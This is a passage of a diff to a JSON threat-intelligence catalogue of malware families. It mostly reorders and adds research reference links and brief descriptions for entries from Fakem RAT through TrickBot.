"https://malware.lu/assets/files/articles/RAP002_APT1_Technical_backstage.1.0.pdf", + "http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html", + "https://www.welivesecurity.com/wp-content/uploads/2014/01/Advanced-Persistent-Threats.pdf" ], "synonyms": [ "Fakem RAT" @@ -44593,9 +46961,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.termite", - "https://www.alienvault.com/blogs/labs-research/internet-of-termites", + "https://threatrecon.nshc.net/2019/03/19/sectorm04-targeting-singapore-custom-malware-analysis/", "https://www.mandiant.com/resources/evolution-of-fin7", - "https://threatrecon.nshc.net/2019/03/19/sectorm04-targeting-singapore-custom-malware-analysis/" + "https://www.alienvault.com/blogs/labs-research/internet-of-termites" ], "synonyms": [], "type": [] @@ -44608,6 +46976,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.terrapreter", + "https://www.esentire.com/web-native-pages/unmasking-venom-spider", + "https://www.esentire.com/security-advisories/hackers-spearphish-professionals-on-linkedin-with-fake-job-offers-infecting-them-with-malware-warns-esentire", "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/" ], "synonyms": [], @@ -44622,8 +46992,11 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.terra_loader", "https://medium.com/walmartglobaltech/a-re-look-at-the-terraloader-dropper-dll-e5947ad6e244", - "https://quointelligence.eu/2020/07/golden-chickens-evolution-of-the-maas/", - "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Terraloader/2021-03-25/Analysis.md#terraloader--congrats-you-have-a-new-fake-job-" + "https://www.esentire.com/blog/hackers-spearphish-corporate-hiring-managers-with-poisoned-resumes-infecting-them-with-the-more-eggs-malware", + "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Terraloader/2021-03-25/Analysis.md#terraloader--congrats-you-have-a-new-fake-job-", + "https://www.esentire.com/web-native-pages/unmasking-venom-spider", + "https://www.esentire.com/security-advisories/hackers-spearphish-professionals-on-linkedin-with-fake-job-offers-infecting-them-with-malware-warns-esentire", + "https://quointelligence.eu/2020/07/golden-chickens-evolution-of-the-maas/" ], "synonyms": [], "type": [] @@ -44652,12 +47025,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.terra_stealer", - "https://github.com/eset/malware-ioc/tree/master/evilnum", - "https://quointelligence.eu/2020/07/golden-chickens-evolution-of-the-maas/", - "https://twitter.com/3xp0rtblog/status/1275746149719252992", - "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", "https://medium.com/@quoscient/the-chicken-keeps-laying-new-eggs-uncovering-new-gc-maas-tools-used-by-top-tier-threat-actors-531d80a6b4e9", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf" + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://github.com/eset/malware-ioc/tree/master/evilnum", + "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "https://twitter.com/3xp0rtblog/status/1275746149719252992", + "https://quointelligence.eu/2020/07/golden-chickens-evolution-of-the-maas/" ], "synonyms": [ "SONE", @@ -44674,10 +47047,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.terra_tv", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://medium.com/@quoscient/the-chicken-keeps-laying-new-eggs-uncovering-new-gc-maas-tools-used-by-top-tier-threat-actors-531d80a6b4e9", "https://blog.minerva-labs.com/taurus-user-guided-infection", - "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/" + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "https://medium.com/@quoscient/the-chicken-keeps-laying-new-eggs-uncovering-new-gc-maas-tools-used-by-top-tier-threat-actors-531d80a6b4e9" ], "synonyms": [ "Taurus Loader TeamViewer Module" @@ -44692,17 +47065,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.teslacrypt", - "https://community.riskiq.com/article/30f22a00", - "https://blogs.cisco.com/security/talos/teslacrypt", - "https://researchcenter.paloaltonetworks.com/2015/10/latest-teslacrypt-ransomware-borrows-code-from-carberp-trojan/", - "https://blog.christophetd.fr/malware-analysis-lab-with-virtualbox-inetsim-and-burp/", - "https://success.trendmicro.com/solution/1113900-emerging-threat-on-ransom-cryptesla", "https://securelist.com/teslacrypt-2-0-disguised-as-cryptowall/71371/", + "https://success.trendmicro.com/solution/1113900-emerging-threat-on-ransom-cryptesla", "https://www.welivesecurity.com/2015/12/16/nemucod-malware-spreads-ransomware-teslacrypt-around-world/", - "https://www.endgame.com/blog/technical-blog/your-package-has-been-successfully-encrypted-teslacrypt-41a-and-malware-attack", - "https://blog.checkpoint.com/wp-content/uploads/2016/05/Tesla-crypt-whitepaper_V3.pdf", + "https://blog.malwarebytes.com/threat-analysis/2016/03/teslacrypt-spam-campaign-unpaid-issue/", + "https://researchcenter.paloaltonetworks.com/2015/10/latest-teslacrypt-ransomware-borrows-code-from-carberp-trojan/", + "https://blogs.cisco.com/security/talos/teslacrypt", + "https://blog.christophetd.fr/malware-analysis-lab-with-virtualbox-inetsim-and-burp/", + "https://community.riskiq.com/article/30f22a00", "https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html", - "https://blog.malwarebytes.com/threat-analysis/2016/03/teslacrypt-spam-campaign-unpaid-issue/" + "https://blog.checkpoint.com/wp-content/uploads/2016/05/Tesla-crypt-whitepaper_V3.pdf", + "https://www.endgame.com/blog/technical-blog/your-package-has-been-successfully-encrypted-teslacrypt-41a-and-malware-attack" ], "synonyms": [ "cryptesla" @@ -44717,8 +47090,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tflower", - "https://cyber.gc.ca/en/alerts/tflower-ransomware-campaign", "https://www.sygnia.co/mata-framework", + "https://cyber.gc.ca/en/alerts/tflower-ransomware-campaign", "https://www.bleepingcomputer.com/news/security/tflower-ransomware-the-latest-attack-targeting-businesses/" ], "synonyms": [], @@ -44747,8 +47120,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.thanatos_ransom", - "https://www.bleepingcomputer.com/news/security/thanatos-ransomware-decryptor-released-by-the-cisco-talos-group/", "https://blog.talosintelligence.com/2018/06/ThanatosDecryptor.html", + "https://www.bleepingcomputer.com/news/security/thanatos-ransomware-decryptor-released-by-the-cisco-talos-group/", "https://www.bleepingcomputer.com/news/security/thanatos-ransomware-is-first-to-use-bitcoin-cash-messes-up-encryption/" ], "synonyms": [], @@ -44801,15 +47174,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.thunderx", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", "https://labs.sentinelone.com/ranzy-ransomware-better-encryption-among-new-features-of-thunderx-derivative/", "https://www.bleepingcomputer.com/news/security/thunderx-ransomware-rebrands-as-ranzy-locker-adds-data-leak-site/", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://www.picussecurity.com/resource/blog/a-detailed-walkthrough-of-ranzy-locker-ransomware-ttps", "https://www.ic3.gov/Media/News/2021/211026.pdf", "https://id-ransomware.blogspot.com/2020/08/thunderx-ransomware.html", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", "https://www.mandiant.com/resources/chasing-avaddon-ransomware", - "https://www.picussecurity.com/resource/blog/a-detailed-walkthrough-of-ranzy-locker-ransomware-ttps" + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/" ], "synonyms": [ "Ranzy Locker" @@ -44836,9 +47209,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tidepool", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf", "https://unit42.paloaltonetworks.com/atoms/shallowtaurus/", - "http://researchcenter.paloaltonetworks.com/2016/05/operation-ke3chang-resurfaces-with-new-tidepool-malware/" + "https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs", + "http://researchcenter.paloaltonetworks.com/2016/05/operation-ke3chang-resurfaces-with-new-tidepool-malware/", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" ], "synonyms": [], "type": [] @@ -44851,12 +47225,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tiger_rat", - "https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/", - "https://www.krcert.or.kr/filedownload.do?attach_file_seq=3277&attach_file_id=EpF3277.pdf", - "https://www.brighttalk.com/webcast/18282/493986", + "https://www.attackiq.com/2023/01/05/emulating-the-highly-sophisticated-north-korean-adversary-lazarus-group/", + "https://blogs.vmware.com/security/2021/12/tigerrat-advanced-adversaries-on-the-prowl.html", "https://threatray.com/wp-content/uploads/2021/12/threatray-establishing-the-tigerrat-and-tigerdownloader-malware-families.pdf", - "https://blog.talosintelligence.com/2022/09/lazarus-magicrat.html", - "https://blogs.vmware.com/security/2021/12/tigerrat-advanced-adversaries-on-the-prowl.html" + "https://www.brighttalk.com/webcast/18282/493986", + "https://www.krcert.or.kr/filedownload.do?attach_file_seq=3277&attach_file_id=EpF3277.pdf", + "https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/", + "https://blog.talosintelligence.com/2022/09/lazarus-magicrat.html" ], "synonyms": [], "type": [] @@ -44882,20 +47257,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinba", - "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_w32-tinba-tinybanker.pdf", "http://stopmalvertising.com/malware-reports/mini-analysis-of-the-tinybanker-tinba.html", - "http://contagiodump.blogspot.com/2012/06/amazon.html", - "http://www.theregister.co.uk/2012/06/04/small_banking_trojan/", + "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_w32-tinba-tinybanker.pdf", "https://www.zscaler.com/blogs/research/look-recent-tinba-banking-trojan-variant", + "http://www.theregister.co.uk/2012/06/04/small_banking_trojan/", "https://securityblog.switch.ch/2015/06/18/so-long-and-thanks-for-all-the-domains/", + "http://garage4hackers.com/entry.php?b=3086", "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://blogs.blackberry.com/en/2019/03/blackberry-cylance-vs-tinba-banking-trojan", + "http://contagiodump.blogspot.com/2012/06/amazon.html", + "http://securityintelligence.com/tinba-malware-reloaded-and-attacking-banks-around-the-world/", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", "https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html", "https://securityintelligence.com/tinba-trojan-sets-its-sights-on-romania/", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "http://securityintelligence.com/tinba-malware-reloaded-and-attacking-banks-around-the-world/", - "https://adalogics.com/blog/the-state-of-advanced-code-injections", - "http://garage4hackers.com/entry.php?b=3086", - "https://blogs.blackberry.com/en/2019/03/blackberry-cylance-vs-tinba-banking-trojan" + "https://adalogics.com/blog/the-state-of-advanced-code-injections" ], "synonyms": [ "Illi", @@ -44904,15 +47279,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "75f53ead-1aee-4f91-8cb9-b4170d747cfc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "5eee35b6-bd21-4b67-b198-e9320fcf2c88", "value": "Tinba" }, @@ -44922,8 +47288,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyloader", "https://www.proofpoint.com/us/threat-insight/post/abaddonpos-now-targeting-specific-pos-software", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://www.forcepoint.com/sites/default/files/resources/files/report-tinypos-analysis-en.pdf", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://www.proofpoint.com/us/threat-insight/post/AbaddonPOS-A-New-Point-Of-Sale-Threat-Linked-To-Vawtrak" ], "synonyms": [], @@ -44937,16 +47303,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinymet", - "https://twitter.com/VK_Intel/status/1273292957429510150", - "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/", - "https://www.flashpoint-intel.com/blog/fin7-revisited:-inside-astra-panel-and-sqlrat-malware/", - "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/using-qiling-framework-to-unpack-ta505-packed-samples/", - "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-solarwinds-serv-u-exploit-campaign/", - "https://www.secureworks.com/research/threat-profiles/gold-niagara", - "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/", "https://github.com/SherifEldeeb/TinyMet", - "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do" + "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/", + "https://www.flashpoint-intel.com/blog/fin7-revisited:-inside-astra-panel-and-sqlrat-malware/", + "https://twitter.com/VK_Intel/status/1273292957429510150", + "https://www.secureworks.com/research/threat-profiles/gold-niagara", + "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-solarwinds-serv-u-exploit-campaign/", + "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do", + "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", + "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/using-qiling-framework-to-unpack-ta505-packed-samples/" ], "synonyms": [ "TiniMet" @@ -44961,17 +47328,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinynuke", - "https://securityintelligence.com/the-nukebot-trojan-a-bruised-ego-and-a-surprising-source-code-leak/", - "https://benkowlab.blogspot.de/2017/08/quick-look-at-another-alina-fork-xbot.html", - "https://krebsonsecurity.com/tag/nuclear-bot/", - "https://krebsonsecurity.com/2019/12/nuclear-bot-author-arrested-in-sextortion-case/", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", "https://asec.ahnlab.com/en/27346/", - "https://www.bitsighttech.com/blog/break-out-of-the-tinynuke-botnet", - "https://asec.ahnlab.com/en/32781/", "https://www.arbornetworks.com/blog/asert/dismantling-nuclear-bot/", + "https://asec.ahnlab.com/en/32781/", + "https://krebsonsecurity.com/tag/nuclear-bot/", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", "https://securelist.com/the-nukebot-banking-trojan-from-rough-drafts-to-real-threats/78957/", - "https://forums.juniper.net/t5/Threat-Research/Nukebot-Banking-Trojan-targeting-people-in-France/ba-p/326702" + "https://www.bitsighttech.com/blog/break-out-of-the-tinynuke-botnet", + "https://forums.juniper.net/t5/Threat-Research/Nukebot-Banking-Trojan-targeting-people-in-France/ba-p/326702", + "https://securityintelligence.com/the-nukebot-trojan-a-bruised-ego-and-a-surprising-source-code-leak/", + "https://krebsonsecurity.com/2019/12/nuclear-bot-author-arrested-in-sextortion-case/", + "https://benkowlab.blogspot.de/2017/08/quick-look-at-another-alina-fork-xbot.html" ], "synonyms": [ "MicroBankingTrojan", @@ -44989,21 +47356,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinytyphon", - "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf", - "https://www.forcepoint.com/blog/x-labs/monsoon-analysis-apt-campaign" + "https://www.forcepoint.com/blog/x-labs/monsoon-analysis-apt-campaign", + "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "1b591586-e1ef-4a32-8dae-791aca5ddf41", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "d2414f4a-1eda-4d80-84d3-ed130ca14e3c", "value": "TinyTyphon" }, @@ -45012,22 +47370,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyzbot", - "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy", "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", - "https://know.netenrich.com/threatintel/threat_actor/Cutting%20Kitten" + "https://know.netenrich.com/threatintel/threat_actor/Cutting%20Kitten", + "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "e2cc27a2-4146-4f08-8e80-114a99204cea", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "b933634f-81d0-41ef-bf2f-ea646fc9e59c", "value": "TinyZbot" }, @@ -45057,22 +47406,36 @@ "uuid": "c34091df-0df2-4ef6-bf69-c67eb711f6d8", "value": "Tiop" }, + { + "description": "Information stealer written in Go.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.titan_stealer", + "https://www.uptycs.com/blog/titan-stealer-telegram-malware-campaign", + "https://blog.bushidotoken.net/2022/11/detecting-and-fingerprinting.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "0a98f387-885e-4ad4-b5ab-686f4c06dcf1", + "value": "TitanStealer" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tmanger", - "https://insight-jp.nttsecurity.com/post/102gi9b/pandas-new-arsenal-part-1-tmanger", - "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia", - "https://vblocalhost.com/uploads/VB2020-20.pdf", - "https://labs.sentinelone.com/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op/", - "https://vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf", - "https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop", - "https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager", - "https://www.sentinelone.com/labs/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op", "https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/", + "https://vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf", "https://www.youtube.com/watch?v=1WfPlgtfWnQ", - "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/" + "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/", + "https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager", + "https://labs.sentinelone.com/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op/", + "https://vblocalhost.com/uploads/VB2020-20.pdf", + "https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop", + "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia", + "https://www.sentinelone.com/labs/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op", + "https://insight-jp.nttsecurity.com/post/102gi9b/pandas-new-arsenal-part-1-tmanger" ], "synonyms": [ "LuckyBack" @@ -45083,17 +47446,29 @@ "value": "Tmanger" }, { - "description": "", + "description": "According to PCrisk, Tofsee (also known as Gheg) is a malicious Trojan-type program that is capable of performing DDoS attacks, mining cryptocurrency, sending emails, stealing various account credentials, updating itself, and more.\r\n\r\nCyber criminals mainly use this program as an email-oriented tool (they target users' email accounts), however, having Tofsee installed can also lead to many other problems.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tofsee", - "https://lokalhost.pl/txt/peering.into.spam.botnets.VirusBulletin2017.pdf", "https://www.dragos.com/blog/investigating-the-watering-hole-linked-to-the-oldsmar-water-treatment-facility-breach/", - "https://www.cert.pl/en/news/single/tofsee-en/", - "https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html", - "https://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/", + "https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://www.spamhaus.com/resource-center/neutralizing-tofsee-spambot-part-1-binary-file-vaccine/", "https://intel471.com/blog/privateloader-malware", - "https://zerophagemalware.com/2017/03/24/terror-ek-delivers-tofsee-spambot/" + "https://www.virusbulletin.com/virusbulletin/2014/04/tofsee-botnet", + "https://www.spamhaus.com/resource-center/neutralizing-tofsee-spambot-part-3-network-based-kill-switch/", + "https://gist.github.com/larsborn/0ec24d7b294248c51de0c3335802cbd4", + "https://www.spamhaus.com/resource-center/neutralizing-tofsee-spambot-part-2-inmemoryconfig-store-vaccine/", + "https://www.govcert.ch/blog/tofsee-spambot-features-.ch-dga-reversal-and-countermesaures/", + "https://zerophagemalware.com/2017/03/24/terror-ek-delivers-tofsee-spambot/", + "https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html", + "https://www.cert.pl/en/news/single/tofsee-en/", + "https://blog.talosintelligence.com/tofsee-spam/", + "https://web.archive.org/web/20090428005953/http://www.marshal8e6.com/trace/i/Gheg,spambot.897~.asp", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://lokalhost.pl/txt/peering.into.spam.botnets.VirusBulletin2017.pdf", + "https://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/", + "https://www.bitsight.com/blog/tofsee-botnet-proxying-and-mining" ], "synonyms": [ "Gheg" @@ -45122,7 +47497,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tomiris", - "https://securelist.com/darkhalo-after-solarwinds-the-tomiris-connection/104311/" + "https://securelist.com/darkhalo-after-solarwinds-the-tomiris-connection/104311/", + "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/" ], "synonyms": [], "type": [] @@ -45135,9 +47511,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tonedeaf", - "https://intezer.com/blog-new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/", + "https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/", "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html", - "https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/" + "https://intezer.com/blog-new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/" ], "synonyms": [], "type": [] @@ -45145,6 +47521,19 @@ "uuid": "77e29e3a-d4a3-4692-b1f8-38ad6dc1af1d", "value": "TONEDEAF" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.toneshell", + "https://www.trendmicro.com/en_us/research/22/k/earth-preta-spear-phishing-governments-worldwide.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "83bfa615-a1d4-4b61-bda0-beb560d24a97", + "value": "TONESHELL" + }, { "description": "", "meta": { @@ -45159,15 +47548,28 @@ "uuid": "a7590aa5-d9fb-449f-8a5e-5233077b736e", "value": "Tonnerre" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.topinambour", + "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "fcc49738-f801-47ff-977b-9e368bc85273", + "value": "Topinambour" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.torisma", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/", + "http://blog.nsfocus.net/stumbzarus-apt-lazarus/", "https://blogs.jpcert.or.jp/en/2021/01/Lazarus_malware2.html", "https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.102_ENG%20(4).pdf", - "http://blog.nsfocus.net/stumbzarus-apt-lazarus/" + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/" ], "synonyms": [], "type": [] @@ -45180,8 +47582,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.torrentlocker", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "http://www.bleepingcomputer.com/forums/t/547708/torrentlocker-ransomware-cracked-and-decrypter-has-been-made/" + "http://www.bleepingcomputer.com/forums/t/547708/torrentlocker-ransomware-cracked-and-decrypter-has-been-made/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf" ], "synonyms": [ "Teerac" @@ -45191,13 +47593,39 @@ "uuid": "7f6cd579-b021-4896-80da-fcc07c35c8b2", "value": "TorrentLocker" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.touchmove", + "https://www.mandiant.com/resources/blog/lightshow-north-korea-unc2970" + ], + "synonyms": [], + "type": [] + }, + "uuid": "39ecb19e-790b-475b-85db-ef4c7f9c9dce", + "value": "TOUCHMOVE" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.touchshift", + "https://www.mandiant.com/resources/blog/lightshow-north-korea-unc2970" + ], + "synonyms": [], + "type": [] + }, + "uuid": "accbbc7e-43f1-4232-90be-6c1fe90cbccf", + "value": "TOUCHSHIFT" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.toxiceye", - "https://www.bollyinside.com/articles/how-rat-malware-is-using-telegram-to-evade-detection/", - "https://blog.checkpoint.com/2021/04/22/turning-telegram-toxic-new-toxiceye-rat-is-the-latest-to-use-telegram-for-command-control/" + "https://blog.checkpoint.com/2021/04/22/turning-telegram-toxic-new-toxiceye-rat-is-the-latest-to-use-telegram-for-command-control/", + "https://www.bollyinside.com/articles/how-rat-malware-is-using-telegram-to-evade-detection/" ], "synonyms": [], "type": [] @@ -45205,16 +47633,29 @@ "uuid": "0d445373-d520-4b67-9066-72f23452c774", "value": "ToxicEye" }, + { + "description": "According to Trend Micro, this is a backdoor abusing the Dropbox API, used by threat actor Earth Yako.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.transbox", + "https://www.trendmicro.com/en_us/research/23/b/invitation-to-secret-event-uncovering-earth-yako-campaigns.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "e4d4af34-835a-4e39-b9e2-eb2456e5fce3", + "value": "TransBox" + }, { "description": "tRat is a modular RAT written in Delphi and has appeared in campaigns in September and October of 2018.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.trat", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", - "https://www.gdatasoftware.com/blog/trat-control-via-smartphone", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", "https://www.proofpoint.com/us/threat-insight/post/trat-new-modular-rat-appears-multiple-email-campaigns", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf" + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://www.gdatasoftware.com/blog/trat-control-via-smartphone" ], "synonyms": [], "type": [] @@ -45227,9 +47668,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.treasurehunter", - "http://adelmas.com/blog/treasurehunter.php", "https://www.flashpoint-intel.com/blog/treasurehunter-source-code-leaked/", - "https://www.fireeye.com/blog/threat-research/2016/03/treasurehunt_a_cust.html" + "https://www.fireeye.com/blog/threat-research/2016/03/treasurehunt_a_cust.html", + "http://adelmas.com/blog/treasurehunter.php" ], "synonyms": [ "huntpos" @@ -45244,280 +47685,284 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.trickbot", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/trickbot-botnet-ransomware-disruption", - "https://blog.talosintelligence.com/2020/03/trickbot-primer.html", - "https://f5.com/labs/articles/threat-intelligence/malware/trickbot-expands-global-targets-beyond-banks-and-payment-processors-to-crms", - 